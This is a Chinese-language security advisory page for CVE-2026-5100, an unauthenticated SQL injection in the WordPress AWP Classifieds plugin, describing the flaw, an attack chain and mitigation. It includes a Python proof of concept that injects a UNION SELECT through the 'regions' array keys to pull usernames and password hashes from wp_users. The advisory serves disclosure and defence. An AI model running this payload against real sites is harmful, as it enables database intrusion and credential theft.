IPBUF安全漏洞报告
English
CVE-2026-5100 CVSS 7.5 高危

CVE-2026-5100: WordPress AWP Classifieds插件SQL注入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-5100
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress AWP Classifieds Plugin

相关标签

SQL注入WordPressWordPress插件AWP Classifieds无需认证

漏洞概述

WordPress AWP Classifieds 插件在 4.4.5 及之前的版本中存在 SQL 注入漏洞。该漏洞源于对用户提供的 'regions' 参数数组键转义不足,且对现有 SQL 查询缺乏充分的准备。未经身份验证的攻击者可利用此漏洞在现有查询中追加额外的 SQL 语句,从而从数据库中提取敏感信息。

技术细节

该漏洞位于 AWP Classifieds 插件的前端搜索广告功能中(`page-search-ads.php`)。当处理搜索请求时,插件直接将用户传入的 `regions` 参数的数组键拼接到 SQL 查询语句中,未进行有效的安全过滤或预处理。由于攻击者无需认证(PR:N)即可访问该接口,他们可以通过构造恶意的 `regions` 数组键值,注入 SQL 代码。攻击向量为网络(AV:N),利用难度低(AC:L),且无需用户交互(UI:N)。成功利用后,攻击者可读取数据库中的敏感数据(C:H),但无法直接修改数据或导致拒绝服务。

攻击链分析

STEP 1
侦察
攻击者扫描目标 WordPress 站点,确认其安装了 AWP Classifieds 插件且版本在 4.4.5 及以下。
STEP 2
漏洞利用
攻击者向插件的前端搜索接口发送特制的 HTTP POST 请求,在 'regions' 参数的数组键中注入恶意 SQL 语句。
STEP 3
执行注入
由于插件未对数组键进行转义,恶意 SQL 语句被拼接到数据库查询中并执行。
STEP 4
数据窃取
攻击者利用 SQL 注入技术(如 UNION SELECT)从数据库中提取敏感信息,例如用户凭据或个人数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-5100 # Target: WordPress AWP Classifieds Plugin <= 4.4.5 import requests def exploit_sqli(target_url): # The vulnerability exists in the 'regions' parameter array keys # Attackers can inject SQL via the keys of the array payload = { "regions": { # Injecting SQL payload into the array key "0' UNION SELECT NULL, user_login, user_pass FROM wp_users-- ": "1" } } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the response for leaked database data.") print(response.text[:500]) # Print snippet of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": url = "http://example.com/wordpress/page-search-ads/" # Replace with actual target exploit_sqli(url)

影响范围

AWP Classifieds Plugin <= 4.4.5

防御指南

临时缓解措施
如果无法立即升级插件,建议临时禁用该插件以阻断攻击路径。同时,应检查数据库中是否存在异常数据访问记录,并重置可能泄露的数据库账户凭据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表